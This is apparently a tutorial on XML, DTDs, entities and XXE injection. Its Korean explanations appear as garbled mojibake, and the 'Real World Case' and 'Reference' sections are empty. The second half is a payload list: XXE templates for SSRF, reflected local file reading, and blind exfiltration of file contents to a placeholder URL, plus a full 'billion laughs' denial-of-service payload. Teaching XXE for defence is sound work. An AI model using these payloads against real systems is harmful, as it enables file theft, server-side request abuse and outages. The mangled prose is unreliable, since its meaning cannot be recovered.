What is XML(eXtensible Markup Language)?
XML์ ๋ฐ์ดํฐ ์ ์ฅ๊ณผ ์ ์ก์ ์ด์ ์ ๋ ์ธ์ด์ด๋ค. ์ฌ๋ฌ ์ข ๋ฅ์ ์์ฉ ํ๋ก๊ทธ๋จ์์ ๋ฐ์ดํฐ์ ๋ฌธ์๋ฅผ ์ ์ฐํ๊ฒ ์ ์ก & ์ ์ฅํ๋๋ก ์ค๊ณ๋์๋ค. ๋ฏธ๋ฆฌ ์ ์๋ ํ๊ทธ ์ธ์๋ ์์๋ก ํ๊ทธ๋ฅผ ์ ์ํ ์ ์๋ค.
[ ์ข ๋ฅ ]
[ XML DTD ]
XML DTD(Docuemtn Type Definition)์ ์ฌ์ฉํด ๋ฏธ๋ฆฌ ์ ์๋ ๋ฌธ์ ๊ตฌ์กฐ์ ๋ํด XML ๋ฌธ์์ ์ ํจ์ฑ ๊ฒ์ฌ๊ฐ ๊ฐ๋ฅํ๋ค.
<!DOCTYPE email [
<!ELEMENT email (date, time, sender, recipients, body)>
<!ELEMENT recipients (to, cc?)>
<!ELEMENT cc (to*)>
<!ELEMENT date (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!-- Parsed Character DATA: ํ์์ ์ํด ๋ถ์๋ ๋ฌธ์ ๋ฐ์ดํฐ -->
์ ์์์ฒ๋ผ DTD๋ ELEMENT ํ์
์ ์ธ๊ณผ ํจ๊ป root์ธ email์ ์ ์ธํ๊ณ child ์์๋ฅผ ๋ํ๋ธ๋ค.
์ดํ child ์์๋ค์ด ์ ์๋๋ค. child ์์๋ ๋ณธ์ธ์ child ์์๋ฅผ ๋ ๊ฐ์ง ์๋ ์๊ณ , ์์ ๋ฐ์ดํฐ๋ฅผ ํฌํจํ ์๋ ์๋ค. DTD๋ ์ฒซ ๋ฒ์งธ ์ค์ XML ์ ์ธ ๋ฐ๋ก ๋ค์ ๋ฐฐ์นํ๊ฑฐ๋, ์ธ๋ถ ํ์ผ ํํ๋ก ์ ์ฅํ๊ณ ์๋์ ๊ฐ์ด SYSTEM ํค์๋๋ฅผ ์ด์ฉํ์ฌ ์ฐธ์กฐ๋ ์ ์๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "email.dtd">
[ XML Entity ]
XML DTD์์ entity๋ฅผ ์ ์ํ์ฌ๋ณ์๋ฅผ ๋ฆฌํฉํ ๋งํ๊ณ ๋ฐ๋ณต๋๋ ๋ฐ์ดํฐ๋ฅผ ์ค์ผ ์ ์๋ค. ์๋ ์์์ ๊ฐ์ด ํค์๋ ๋ค์ entity์ด๋ฆ๊ณผ ๊ฐ์ด ๋์ค๋ ๋ฐฉ์์ผ๋ก ์ฌ์ฉํ๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company "Security Company">
]>
entity๊ฐ ์ ์ธ๋๋ฉด XML ๋ฌธ์์์ "&"์ ";" ์ฌ์ด์์ ์ฐธ์กฐ๋ ์ ์๋ค. (e.g. &company;)
entity๊ฐ ์ฐธ์กฐ๋ ๋๋ง๋ค ํด๋น entity๋ XML Parser์ ์ํด ํด๋น ๊ฐ์ผ๋ก ๋ฐ๋๋ค. ๋ํ ์๋์ ๊ฐ์ด ์ธ๋ถ XML entity๋ฅผ SYSTESM ํค์๋์ ํจ๊ป ์ฐธ์กฐํ ์ ์๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "http://localhost/company.txt">
<!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>
XXE Injection์ ํต์ฌ์ "SYSTEM" ํจ์๋ฅผ ์ด์ฉํ์ฌ Local File Leak, ์ ์์ ์ธ ์์ฒญ์ ๊ฐ์ ํ๋ ๋ฑ์ ์ํํ ์ ์๋ค๋ ๊ฒ์ด๋ค.
What is XXE?
XXE๋ "XML External Entity"์ ์ฝ์๋ก ์ดํ๋ฆฌ์ผ์ด์ ์ XML ํ์ฑํ๋ ๋์์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉ ํธ๋ฆฌ๊ฑฐ๊ฐ ๊ฐ๋ฅํ๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก Code Execution์ด ๊ฐ๋ฅํ๋ฏ๋ก ์น๋ช ์ ์ด๋ค.
Types of XXE
Reflected XXE : ๋ํ์ ์ผ๋ก Response๋ฅผ ํตํด ์๋ฒ ํ์ผ์ ์ ๊ทผ ๊ฐ๋ฅ
Blind XXE : ๋ํ์ ์ผ๋ก DoS, ์๋ํ์ง ์์ ์ธ๋ถ ํธ์คํธ๋ก์ ์์ฒญ ๊ฐ๋ฅ
Common Payload
SSRF
<?xml version="1.0"?> <!DOCTYPE root [ <!ELEMENT root (#ANY)> <!ENTITY test SYSTEM "URL">]><xxe>&test;</xxe>
- LFI (Reflected)
<?xml version="1.0"?> <!DOCTYPE root [ <!ELEMENT root (#ANY)> <!ENTITY test SYSTEM "file://PATH">]><xxe>&test;</xxe>
- LFI (Blind)
<?xml version="1.0"?> <!DOCTYPE root [ <!ELEMENT root (#ANY)> <!ENTITY test SYSTEM "file://PATH"> <!ENTITY blind SYSTEM "URL/?%test;">]><xxe>&blind;</xxe>
- DoS
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lola "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lolb "&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;"> <!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;"> <!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;"> <!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;"> <!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;"> <!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;"> <!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;"> <!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;"> ]> <attack>&loli;</attack>
Real World Case
Reference